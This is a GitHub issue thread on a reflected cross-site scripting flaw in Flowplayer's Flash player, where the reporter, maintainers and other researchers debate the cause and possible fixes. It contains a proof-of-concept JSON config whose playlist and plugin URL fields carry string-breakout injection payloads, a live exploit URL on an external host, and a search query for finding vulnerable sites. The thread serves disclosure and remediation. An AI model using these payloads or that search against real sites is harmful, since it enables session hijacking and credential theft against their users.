flowplayer / flash

Flowplayer Flash, the video player for the Web
http://flowplayer.org
283 stars 183 forks source link

Reflected Cross-Site Scripting (XSS) in Flash Version of Flowplayer #263

Open irsdl opened 10 years ago

irsdl commented 10 years ago

Description: The flash file accept its configuration via a JSON object. This object can be passed directly or via a file. The old version of this flash file was vulnerable because of loading insecure external flash files. The latest version and the previous ones are also vulnerable because of lack of encoding/validation in the parameters that are used in externalInterface.call. Both of these issues have been included in the flowplayer.js file. This file can be used like this: /flowplayer-3.2.18.swf?config=http://0me.me/demo/xss/flowplayer/flowplayer.js

Content of the flowplayer.js file is as follows:

{
    'log' : {
        'level'  : 'info'
    },
    'clip': {
        'autoPlay': 'true',
        'baseUrl': 'http://stream.flowplayer.org/', /* Can load external objects - ExternalInterface issue */
        'onMyConnectionEvent': 'function(clip, info) {alert(/onMyConnectionEvent/)};', /* Possible issue in events */
        'onStart': 'function() {alert(/onBegin/);}' /* Possible issue in events */
    },
    'playlist': [ 
        '\\\"))}catch(e){};alert(/ExternalInterfaceXSSImURL2/);//' /* ExternalInterface issue */
    ],
    'plugins': { 
        'controls': { 
            'url': 'http://0me.me/demo/xss/flash/normalEmbededXSS.swf?\\\"))}catch(e){};alert(/ExternalInterfaceXSSImURL1/);//' /* External object loading issue */
        }
    },
    'onLoad': 'function() {alert(/onLoad/);}', /* Possible issue in events */
    'connectionCallbacks': [ "onMyConnectionEvent" ] /* Possible issue in events */
}

My recommendation: Parameters that are sent to externalInterface.call should have proper validation and encoding. Moreover, it is a good practice to only accept the configuration files via externalInterface callback. This can guarantee that the flash file cannot be exploited directly via the URL (by using flashvars) and it must be embeded in a page.

I also haven't found any way to report this in private (it was not in the homepage)

danrossi commented 10 years ago

your example would break the json parser. Not sure what you are trying to get out of this. The external config loading is needed for video embeds.

'onMyConnectionEvent': 'function(clip, info) {alert(/onMyConnectionEvent/)};', /* Possible issue in events */

I'm assuming you are having issues with this, because it will trigger alert in the callback ? That's not something the player can stop and I doubt any player could. It just calls back that set method. Well it calls back a global method and the js api will dispatch the correct listener callback.

irsdl commented 10 years ago

My example is actually a valid JSON object. There is a cross-site scripting issue here by using this configuration file and it should not be allowed as it is a security vulnerability. Use the provided PoC to see the result of running JavaScript please. You can target users of any website which uses this Flash file at the moment.

According to my original configuration, you have two choices: 1- (recommended) it is a good practice to only accept the configuration files via externalInterface callback. This can guarantee that the flash file cannot be exploited directly via the URL (by using flashvars) and it must be embedded in a page. Flash version of JW Player is using this method which is a good example. 2- Parameters that are sent to externalInterface.call (or JavaScript in anyway) should have proper validation and encoding/escaping. You need to do this after you parsed the JSON object.

danrossi commented 10 years ago

Externalinterface requires scripting enabled therefore would break facebook embeds because it has it disabled. I don't believe that config would parsed into flash.

I believe your issue is because the callbacks are running the alert correct ?

How it works is a global callback handler is in the jsapi, it will search for the onMyConnectionEvent listener setup in the javascript and run that method, this doesn't happen in the player. All the player does is trigger the main callback with the event name and arguments.

None of that is running when using the external config

'\"))}catch(e){};alert(/ExternalInterfaceXSSImURL2/);//' /* ExternalInterface issue */

that does nothing either and just breaks.

What I can see however is the remote plugin loaded and running externalinterface stuff on the page it's triggering alert. There are some things that can be done and I don't think it was setup right like changing the application domain settings to only same domain.

What I can see jwplayer is calling a global method to obtain the json config. If it has callback methods which it does you could run the same things in those so what is the difference ?

I build jwplayer plugins also and the plugins can run externalinterface and therefore trigger alert like you are so , not sure what the difference is.

irsdl commented 10 years ago

I think I could not explain this issue properly for you as you still do not understand what this bug means. I will try to explain this better but this will be my last comment and I will recommend you to please search for "Cross Site Scripting (XSS)" in Google and read topics like https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) to understand this issue.

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS): Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

Now imagine you have a website called example.com. You have this flash file in your website. I want to perform a cross-site scripting attack against you or your customers to hijack their sessions or show them a fake login page to steal their credentials. I could you use a similar config file to perform these attacks by running JavaScript code in context of example.com.

If you get the config indirectly from a JavaScript callback instead of FlashVars, an attacker cannot exploit this issue directly via the URL. Here is an example: http://releases.flowplayer.org/swf/flowplayer-3.2.18.swf?config=http://0me.me/demo/xss/flowplayer/flowplayer.js

If you were using JavaScript callback, I had to create a HTML page in my website to embed a Flash file from your website which could decrease the attack surface (JavaScripts were running in my website not your website). In addition, if you were using a proper validation or sanitisation/escaping method on different JSON variables after the deserialisation process (after loading the JSON object), an attacker could not exploit this issue at all.

irsdl commented 10 years ago

Just to tell you how bad this is, this Flash file has made all of these websites vulnerable to a reflected XSS attack: https://www.google.co.uk/search?q=inurl:flowplayer%20filetype:swf

cure53 commented 10 years ago

@danrossi What is your advice to developers then? How to use Flowplayer and not have XSS?

abiusx commented 10 years ago

@danrossi you are making a valid point, but you should probably start by first fixing the sites that use javascript, and then having it go unsafe on sites like facebook until they fix the issue on their side.

danrossi commented 10 years ago

I can see your not worried about whats run in the callback, but I can see alert(/ExternalInterfaceXSSImURL2/); That being run. Is that the problem ? It firstly breaks the player because its not a valid url.

Callback event code should be blocked from running anyway for embeds possibly but i'm not sure if they run because it needs the jsapi to do so.

I'm thinking this is a flash bug, in this case it's not doing anything with external interface loading the player directly in the browser, it loads the config url internally and then gets parsed but it's for some reason triggering javascript ..

It would have been nice to get straight to the point, I'm not sure why that is run but I can see what to do about it.

JWPlayer has flashvar support as well obviously for embedding elsewhere and configs can be configured on the player url too. They might have the same issue or have fixed it somehow.

danrossi commented 10 years ago

http://seclists.org/fulldisclosure/2012/Jan/242 This is related. Take note of the URLLoader class this is what is used to load external plugins. The urls passed to this from configs need to be sanitised. I believe this is what you are talking about. It's a flash issue and could happen to anything.

danrossi commented 10 years ago

var u:URLRequest = new URLRequest("javascript:catchClick('" + eName + "','" + eType + "')");

http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf626ae-7fe8.html

It looks like a flash feature. For some reason it's parsing that code as javascript and then running it. even without the "javascript:" prefix.

danrossi commented 10 years ago

A url validator might be the only thing required but using regex could bog loading down a little but so has to be investigated.

danrossi commented 10 years ago

I don't see any url validation for the plugin loader or config parser in jwplayer so I suspect they have the same issue.

danrossi commented 10 years ago

https://code.google.com/p/doctype-mirror/wiki/ArticleFlashSecurityURL https://code.google.com/p/doctype-mirror/wiki/ArticleFlashSecurityGetURL

More information I have to see if this also affects the stream play event.

I think the most efficient and simplest solution is to check that it starts with a valid protocol and ends with swf for the plugin configs anyway anything else and it will incur load latency issues. So because that code doesn't end with swf it won't be loaded.

For video and audio filenames if that also needs to be santised it might be a little more difficult because of url tokens and backends etc.

danrossi commented 10 years ago

The external config url property also needs validation as well because of said problem.

danrossi commented 10 years ago

There is already a plugin url filter in place but it only checks for the existence of the swf extension. Can possibly break off security tokens and check it's the end of the filename therefore that code above will block it from loading.

cure53 commented 10 years ago

@danrossi I think the actual core problem is the lack of proper escaping. While quotes are properly escaped, the "escaper" itself is not. Imagine it like this:

As a consequence, an attacker can break out existing strings using \" because it becomes \\" - the escaper is escaped so the bad char, the " is not. Bummer.

In the context of XSS via Flash we see this a lot. I would say the majority of ExternalInterface-XSS is caused by this weird and counter-intuitive behavior. Here's a detailed write-up elaborating on this a bit more: http://mihai.bazon.net/blog/externalinterface-is-unreliable

The write-up also shows how to easily fix the issue. Just make sure the escaper is escaped as well and the problem is getting a lot smaller.

danrossi commented 10 years ago

No worries thanks very much i'll have a look. It is still unrelated to external interface calls though.

danrossi commented 10 years ago

Just an update there are other problems I can see also but from what I can see it is because of the console logging , this is an externalinterface but ideally this is disabled when loading the plugin url directly in the browser. I have to track down this error handler and only run it on the filtered plugins. escaping the string does nothing.

try { flashtoXML(console.error("[ERROR] time 15:08:42.569 :: 300: Player initialization failed: Error: 301: Unable to load plugin: Unable to load plugin, url http://0me.me/demo/xss/flash/normalEmbededXSS.swf?\\"))}catch(e){};alert(/ExternalInterfaceXSSImURL1/);//, name controls")) ; } catch (e) { ""; }

There is other ways to have fixed this by only turning on logging for debugger versions but it's a big undertaking to change this.

irsdl commented 10 years ago

In the above example you have provided, you just need to escape the "\" character and replace it with "\". To be fair you could just encode everything if it is only for debugging purposes.

I recommend you to read above comments from me and Cur53 (Mario) again. Specially this link: http://mihai.bazon.net/blog/externalinterface-is-unreliable

agwells commented 9 years ago

In early 2013, for the Mahara Project, we patched our own version of Flowplayer to disallow absolute URLs in any of the config options, in order to address that "external insecure SWF" bug. This conveniently also blocks external JSON files with executable code in them: https://github.com/catalyst/mahara-flashplayer

danrossi commented 9 years ago

Thanks for that i don't see the changes. I would personally monkey patch the core files in a seperate location to your own. It's very easy to do by making your own build files. I do this all the time. You might be interested in my fixes branch which has current fixes too. I don't have a scope to revisit this yet none of the suggestions above helped at all.

It's being triggered in two places

1) the logging external interface fallbacks where it may log an error to loading a plugin url and will log the plugin url with the malformed data. 2) any load request will also trigger this too so a possible flaw in flash.

once I find the correct formatting when loading plugins and callbacks it should be corrected.

danrossi commented 9 years ago

Saying that I'm finding more and more security holes in html5 stuff. One is within data generated uri's which I'm dealing with for snapshots. Also I believe jwplayer has the same problems looking at their code.

agwells commented 9 years ago

Sorry, I made the changes back in 2013, and I've merged in a later version of Flowplayer since then, so it's buried pretty far back in the git history now. :)

https://github.com/catalyst/mahara-flashplayer/commit/4d2aa234a9ad4eda67de90aeebc98dcedf5be9d8

https://github.com/catalyst/mahara-flashplayer/commit/ce0cfd1af3c1dba49f2542845c66dd373f16bde2

Hm, actually it looks like I also hard-coded in the "controls" settings, which made sense for Mahara because it only uses flowplayer in exactly one way, but it's probably not a good general solution.

anssip commented 9 years ago

Will work on this.

hughdavenport commented 9 years ago

So I'm working on this bug for some downstream projects that use flowplayer.

I'm thinking the only way to get around this in a catchall sense was to basically disable allowing a user to add config to the flash player, and instead having hard coded defaults, and pass in only the clip url. This isn't the best, but it works for the projects I'm on as the configs are always the same.

The other way would be to somehow allow passing the configs in via javascript, but not through the address bar (GET request). I don't understand how flashvars work fully, but I think this is hard?

Happy to help with any solution that is more general.

Cheers,

Hugh

danrossi commented 9 years ago

You need it for facebook video shares ie

<meta property="og:video" content="http://www.showreelfinder.com/static/player/player.swf?config=http%3A%2F%2Fwww.showreelfinder.com%2Fconfig%2F8323"/>
<meta property="og:video:secure_url" content="https://www.showreelfinder.com/static/player/player.swf?config=https%3A%2F%2Fwww.showreelfinder.com%2Fconfig%2F8323">

What i'm getting at you could add this stuff to the filename config or any of the plugin loader urls in javascript and it has the same effect as with the tests, not a config loading issue.

grug commented 9 years ago

Hey @anssip

How's work going with this?

-Dave

danrossi commented 9 years ago

Its in the areas I mentioned. The console logger uses externalinterface its logging the problematic url and therefore the problem :) If compiler constants were added for disable logging and debugging throughout that will strip the filesize and therefore the problem. That would be the quickest solution. It may still appear within the plugin loader still though so that needs to be sanitised. Have a look.

irsdl commented 8 years ago

Has this issue been resolved in the end?